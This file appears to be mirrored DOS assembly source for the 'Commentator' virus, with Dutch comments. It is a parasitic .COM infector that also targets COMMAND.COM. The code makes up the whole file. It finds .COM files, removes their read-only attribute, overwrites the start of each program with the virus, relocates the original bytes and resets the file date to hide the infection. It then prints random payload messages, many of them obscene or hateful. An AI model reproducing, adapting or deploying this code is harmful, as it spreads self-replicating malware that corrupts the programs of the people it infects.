mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-22 19:36:11 +00:00
335 lines
14 KiB
NASM
335 lines
14 KiB
NASM
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
|
|
;³ Commentator Virus by Glenn... ³
|
|
;ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´
|
|
;³ This will be a Parasytic Non-Resident .COM infector. ³
|
|
;³ It will also infect COMMAND.COM. ³
|
|
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
|
.MODEL TINY
|
|
|
|
Public VirLen,MovLen
|
|
|
|
Code Segment para 'Code'
|
|
Assume Cs:Code,Ds:Code,Es:Code
|
|
|
|
Org 100h
|
|
|
|
Signature Equ 0DeDeh ; Signature of virus!
|
|
|
|
Buff1 Equ 0F100h
|
|
Buff2 Equ Buff1+2
|
|
VirLen Equ Offset Einde-Offset Begin
|
|
MovLen Equ Offset Einde-Offset Mover
|
|
DTA Equ 0F000h
|
|
Proggie Equ DTA+1Eh
|
|
Lenny Equ DTA+1Ah
|
|
|
|
MinLen Equ Virlen ;Minimale lengte te besmetten programma
|
|
MaxLen Equ 0EF00h ; Maximale lengte te besmetten programma
|
|
|
|
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
|
; This part will contain the actual virus code, for searching the
|
|
; next victim and infection of it.
|
|
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
|
|
|
Begin:
|
|
Jmp Short OverSig ; Sprong naar Oversig vanwege kenmerk
|
|
DW Signature ; Herkenningsteken virus
|
|
Oversig:
|
|
Pushf ;------------------
|
|
Push AX ; Alle registers opslaan voor
|
|
Push BX ; later gebruik van het programma
|
|
Push CX ;
|
|
Push DX ;
|
|
Push DS ;
|
|
Push ES ;
|
|
Push SS ;
|
|
Push SI ;
|
|
Push DI ;------------------
|
|
InfectPart:
|
|
Mov AX,Sprong ;------------------
|
|
Mov Buf1,AX ; Spronggegevens bewaren om
|
|
Mov BX,Source ; besmette programma te starten
|
|
Mov Buf2,BX ;------------------
|
|
Mov AH,1Ah ; DTA area instellen op
|
|
Mov DX,DTA ; $DTA area
|
|
Int 21h ;------------------
|
|
Vindeerst: Mov AH,4Eh ; Zoeken naar 1e .COM file in directory
|
|
Mov Cx,1 ;
|
|
Lea DX,FindPath ;
|
|
Int 21h ;------------------
|
|
Jnc KijkInfected ; Geen gevonden, goto Afgelopen
|
|
Jmp Afgelopen ;------------------
|
|
KijkInfected:
|
|
Mov DX,Cs:[Lenny] ;------------------
|
|
Cmp DX,MinLen ; Kijken of programmalengte voldoet
|
|
Jb ZoekNext ; aan de eisen van het virus
|
|
Cmp DX,MaxLen ;
|
|
Ja ZoekNext ;------------------
|
|
On2: Mov AH,3Dh ; Zo ja , file openen en file handle
|
|
Mov AL,2 ; opslaan
|
|
Mov DX,Proggie ;
|
|
Int 21h ;
|
|
Mov FH,AX ;------------------
|
|
Mov BX,AX ;
|
|
Mov AH,3Fh ; Lezen 1e 4 bytes van een file met
|
|
Mov CX,4 ; een mogelijk kenmerk van het virus
|
|
Mov DX,Buff1 ;
|
|
Int 21h ;------------------
|
|
Sluiten: Mov AH,3Eh ; File weer sluiten
|
|
Int 21h ;------------------
|
|
Mov AX,CS:[Buff2] ; Vergelijken inhoud lokatie Buff1+2
|
|
Cmp AX,Signature ; met Signature. Niet gelijk : Zoeken op
|
|
Jnz Infect ; morgoth virus. Als bestand al besmet
|
|
ZoekNext:
|
|
Mov AH,4Fh ;------------------
|
|
Int 21h ; Zoeken naar volgende .COM file
|
|
Jnc KijkInfected ; Geen gevonden, goto Afgelopen
|
|
Jmp Afgelopen ;------------------
|
|
Infect:
|
|
Mov DX,Proggie ; beveiliging weghalen
|
|
Mov AH,43h ;
|
|
Mov AL,1 ;
|
|
Xor CX,Cx
|
|
Int 21h ;------------------
|
|
Mov AH,3Dh ; Bestand openen
|
|
Mov AL,2 ;
|
|
Mov DX,Proggie ;
|
|
Int 21h ;------------------
|
|
Mov FH,AX ; Opslaan op stack van
|
|
Mov BX,AX ; datum voor later gebruik
|
|
Mov AH,57H ;
|
|
Mov AL,0 ;
|
|
Int 21h ;
|
|
Push CX ;
|
|
Push DX ;------------------
|
|
Mov AH,3Fh ; Inlezen van eerste deel van het
|
|
Mov CX,VirLen+2 ; programma om later terug te
|
|
Mov DX,Buff1 ; kunnen plaatsen.
|
|
Int 21h ;------------------
|
|
Mov AH,42H ; File Pointer weer naar het
|
|
Mov AL,2 ; einde van het programma
|
|
Xor CX,CX ; zetten
|
|
Xor DX,DX ;
|
|
Int 21h ;------------------
|
|
Xor DX,DX ; Bepalen van de variabele sprongen
|
|
Add AX,100h ; in het virus (move-routine)
|
|
Mov Sprong,AX ;
|
|
Add AX,MovLen ;
|
|
Mov Source,AX ;------------------
|
|
Mov AH,40H ; Move routine bewaren aan
|
|
Mov DX,Offset Mover ; einde van file
|
|
Mov CX,MovLen ;
|
|
Int 21h ;------------------
|
|
Mov AH,40H ; Eerste deel programma aan-
|
|
Mov DX,Buff1 ; voegen na Move routine
|
|
Mov CX,VirLen ;
|
|
Int 21h ;------------------
|
|
Mov AH,42h ; File Pointer weer naar
|
|
Mov AL,0 ; het begin van file
|
|
Xor CX,CX ; sturen
|
|
Xor DX,DX ;
|
|
Int 21h ;------------------
|
|
Mov AH,40h ; En programma overschrijven
|
|
Mov DX,Offset Begin ; met code van het virus
|
|
Mov CX,VirLen ;
|
|
Int 21h ;------------------
|
|
Mov AH,57h ; Datum van aangesproken file
|
|
Mov AL,1 ; weer herstellen
|
|
Pop DX ;
|
|
Pop CX ;
|
|
Int 21h ;------------------
|
|
Mov AH,3Eh ; Sluiten file
|
|
Int 21h ;------------------
|
|
Afgelopen: Mov BX,Buf2 ; Sprongvariabelen weer
|
|
Mov Source,BX ; op normaal zetten voor
|
|
Mov AX,Buf1 ; de Move routine
|
|
Mov Sprong,AX ;------------------
|
|
Mov AH,1Ah ; DTA adres weer op normaal
|
|
Mov Dx,80h ; zetten en naar de Move
|
|
Int 21h ; routine springen
|
|
Mov Ah,2Ch
|
|
Int 21h
|
|
Xor DL,DL
|
|
Xchg Dh,Dl
|
|
Add Dx,Dx
|
|
; And Dx,11111110b
|
|
Add Dx,Offset MsgTab
|
|
Mov Si,Dx
|
|
Mov Dx,Cs:[SI]
|
|
Mov AH,9
|
|
Int 21h
|
|
Jmp CS:[Sprong] ;------------------
|
|
|
|
Msgtab DW offset Msg1
|
|
DW offset Msg2
|
|
DW offset Msg3
|
|
DW offset Msg4
|
|
DW offset Msg5
|
|
DW offset Msg6
|
|
DW offset Msg7
|
|
DW offset Msg8
|
|
DW offset Msg9
|
|
DW offset Msg10
|
|
DW offset Msg11
|
|
DW offset Msg12
|
|
DW offset Msg13
|
|
DW offset Msg14
|
|
DW offset Msg15
|
|
DW offset Msg16
|
|
DW offset Msg17
|
|
DW offset Msg18
|
|
DW offset Msg19
|
|
DW offset Msg20
|
|
DW offset Msg21
|
|
DW offset Msg22
|
|
DW offset Msg23
|
|
DW offset Msg24
|
|
DW offset Msg25
|
|
DW offset Msg26
|
|
DW offset Msg27
|
|
DW offset Msg28
|
|
DW offset Msg29
|
|
DW offset Msg30
|
|
DW offset Msg31
|
|
DW offset Msg32
|
|
DW offset Msg33
|
|
DW offset Msg34
|
|
DW offset Msg35
|
|
DW offset Msg36
|
|
DW offset Msg37
|
|
DW offset Msg38
|
|
DW offset Msg39
|
|
DW offset Msg40
|
|
DW offset Msg41
|
|
DW offset Msg42
|
|
DW offset Msg43
|
|
DW offset Msg44
|
|
DW offset Msg45
|
|
DW offset Msg46
|
|
DW offset Msg47
|
|
DW offset Msg48
|
|
DW offset Msg49
|
|
DW offset Msg50
|
|
DW offset Msg51
|
|
DW offset Msg52
|
|
DW offset Msg53
|
|
DW offset Msg54
|
|
DW offset Msg55
|
|
DW offset Msg56
|
|
DW offset Msg57
|
|
DW offset Msg58
|
|
DW offset Msg59
|
|
DW offset Msg60
|
|
|
|
Msg1 Db 13,10,'Cycle sluts from hell',13,10,'$'
|
|
Msg2 Db 13,10,'Virus Mania IV',13,10,'$'
|
|
Msg3 Db 13,10,'2 Live Crew is fucking cool',13,10,'$'
|
|
Msg4 Db 13,10,'Like Commentator I, HIP-HOP sucks',13,10,'$'
|
|
Msg5 Db 13,10,'Dr. Ruth is a first-class lady!',13,10,'$'
|
|
Msg6 Db 13,10,'Dont be a wimp, be dead!',13,10,'$'
|
|
Msg7 Db 13,10,'This dick was made for laying girls.',13,10,'$'
|
|
Msg8 Db 13,10,'No virus entry, just me!',13,10,'$'
|
|
Msg9 Db 13,10,'Dont bite it, you horny bitch!',13,10,'$'
|
|
Msg10 Db 13,10,'Stroke my keys, oh YES!',13,10,'$'
|
|
Msg11 Db 13,10,'Sex Revolution 4000',13,10,'$'
|
|
Msg12 Db 13,10,'Buck Rogers is fake',13,10,'$'
|
|
Msg13 Db 13,10,'(C) by Glenn Benton',13,10,'$'
|
|
Msg14 Db 13,10,'Registration number required',13,10,'$'
|
|
Msg15 Db 13,10,'The fly is alive',13,10,'$'
|
|
Msg16 Db 13,10,'Dont fuck with me, or I will kick some ass...',13,10,'$'
|
|
Msg17 Db 13,10,'Hey, dont hit the keys that hard!',13,10,'$'
|
|
Msg18 Db 13,10,'You will feel me...',13,10,'$'
|
|
Msg19 Db 13,10,'BEER BEER BEER BEER BEER BEER BEER!!!',13,10,'$'
|
|
Msg20 Db 13,10,'YOU HAVE A VIRUS, BWAH AH AH EH EH HEH ARF!',13,10,'$'
|
|
Msg21 Db 13,10,'I would alter Michael Jacksons face with my fists...',13,10,'$'
|
|
Msg22 Db 13,10,'WIM KOK IS STILL A COMMUNIST!',13,10,'$'
|
|
Msg23 Db 13,10,'Welcome to COMMENTATOR II',13,10,'$'
|
|
Msg24 Db 13,10,'Commentator I & II released!',13,10,'$'
|
|
Msg25 Db 13,10,'Legalize ABORTUS!',13,10,'$'
|
|
Msg26 Db 13,10,'Ronald McDonald goes Oude-Pekela!',13,10,'$'
|
|
Msg27 Db 13,10,'Source code soon aveable...',13,10,'$'
|
|
Msg28 Db 13,10,'Dont use a rubber against this virus!',13,10,'$'
|
|
Msg29 Db 13,10,'Swimming holiday in Bangladesh!',13,10,'$'
|
|
Msg30 Db 13,10,'Neo Nazis are a pile of shit.',13,10,'$'
|
|
|
|
Msg31 Db 13,10,'Virus researchers are a pile of meat on the street.',13,10,'$'
|
|
Msg32 Db 13,10,'World Championship Cat-Throwing',13,10,'$'
|
|
Msg33 Db 13,10,'Yo Yo Yo Yo Yo Yo Yo, James Brown is DEAD!',13,10,'$'
|
|
Msg34 Db 13,10,'Yech, you are reminding me of my mother-in-law...',13,10,'$'
|
|
Msg35 Db 13,10,'How is the weather out there?',13,10,'$'
|
|
Msg36 Db 13,10,'Indalis is a fat bitch who looks like a glass-bin.',13,10,'$'
|
|
Msg37 Db 13,10,'Lubbers should be castrated for a long time ago.',13,10,'$'
|
|
Msg38 Db 13,10,'Legalize hookers (at a low prize!)',13,10,'$'
|
|
Msg39 Db 13,10,'Fist fucking sounds irrelevant to you, eh?',13,10,'$'
|
|
Msg40 Db 13,10,'I will be Back...',13,10,'$'
|
|
Msg41 Db 13,10,'Today it is..... JUDGEMENT DAY!!!',13,10,'$'
|
|
Msg42 Db 13,10,'Never mind the dog, beware of owner.',13,10,'$'
|
|
Msg43 Db 13,10,'You still owe me a CO-PROCESSOR!',13,10,'$'
|
|
Msg44 Db 13,10,'Do not drink and drive',13,10,'$'
|
|
Msg45 Db 13,10,'Last name ALMIGHTY, first name DICK',13,10,'$'
|
|
Msg46 Db 13,10,'Frodo lives!',13,10,'$'
|
|
Msg47 Db 13,10,'The leech lives',13,10,'$'
|
|
Msg48 Db 13,10,'Hey, Cracker Jack! Nice virus you made!',13,10,'$'
|
|
Msg49 Db 13,10,'A depressive Prince Claus looks like fun!',13,10,'$'
|
|
Msg50 Db 13,10,'Happy Eastern',13,10,'$'
|
|
Msg51 Db 13,10,'Thank god for AIDS',13,10,'$'
|
|
Msg52 Db 13,10,'Art is incredible stupid',13,10,'$'
|
|
Msg53 Db 13,10,'Out of semen error',13,10,'$'
|
|
Msg54 Db 13,10,'Incorrect BEF version',13,10,'$'
|
|
Msg55 Db 13,10,'Of je stopt de stekker erin?!?',13,10,'$'
|
|
Msg56 Db 13,10,'Jean Claude van Damme kicks ass.',13,10,'$'
|
|
Msg57 Db 13,10,'Cannabis expands the mind',13,10,'$'
|
|
Msg58 Db 13,10,'What is this memory? EMS XMS LIM HMA UMB?',13,10,'$'
|
|
Msg59 Db 13,10,'NOOOOOO NOT AN IBM SYSTEM, PLEASE!!!!!',13,10,'$'
|
|
Msg60 Db 13,10,'Dutch Virus Research Laboratory',13,10,'$'
|
|
|
|
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
|
; All variables are stored in here, like filehandle, date/time,
|
|
; search path and various buffers.
|
|
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
|
|
|
FH DW 0
|
|
FindPath DB '*.COM',0
|
|
|
|
Buf1 DW 0
|
|
Buf2 DW 0
|
|
|
|
Sprong DW 0
|
|
Source DW 0
|
|
|
|
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
|
; This will contain the relocator routine, located at the end of
|
|
; the ORIGINAL file. This will tranfer the 1st part of the program
|
|
; to it's original place.
|
|
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
|
Mover:
|
|
Mov DI,Offset Begin ;------------------
|
|
Mov SI,Source ; Verplaatsen van het 1e deel
|
|
Mov CX,VirLen-1 ; van het programma, wat achter
|
|
Rep Movsb ;------------------
|
|
Pop DI ; Opgeslagen registers weer
|
|
Pop SI ; terugzetten op originele
|
|
Pop SS ; waarde en springen naar
|
|
Pop ES ; het begin van het programma
|
|
Pop DS ; (waar nu het virus niet meer
|
|
Pop DX ; staat)
|
|
Pop CX ;
|
|
Pop BX ;
|
|
Pop AX ;
|
|
Popf ;
|
|
Mov BX,100h ;
|
|
Jmp BX ;------------------
|
|
|
|
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
|
; Only the end of the virus is stored in here.
|
|
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
|
Einde db 0
|
|
|
|
Code Ends
|
|
End Begin
|
|
|
|
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
|
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> and Remember Don't Forget to Call <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
|
; ÄÄÄÄÄÄÄÄÄÄÄÄ> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <ÄÄÄÄÄÄÄÄÄÄ
|
|
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|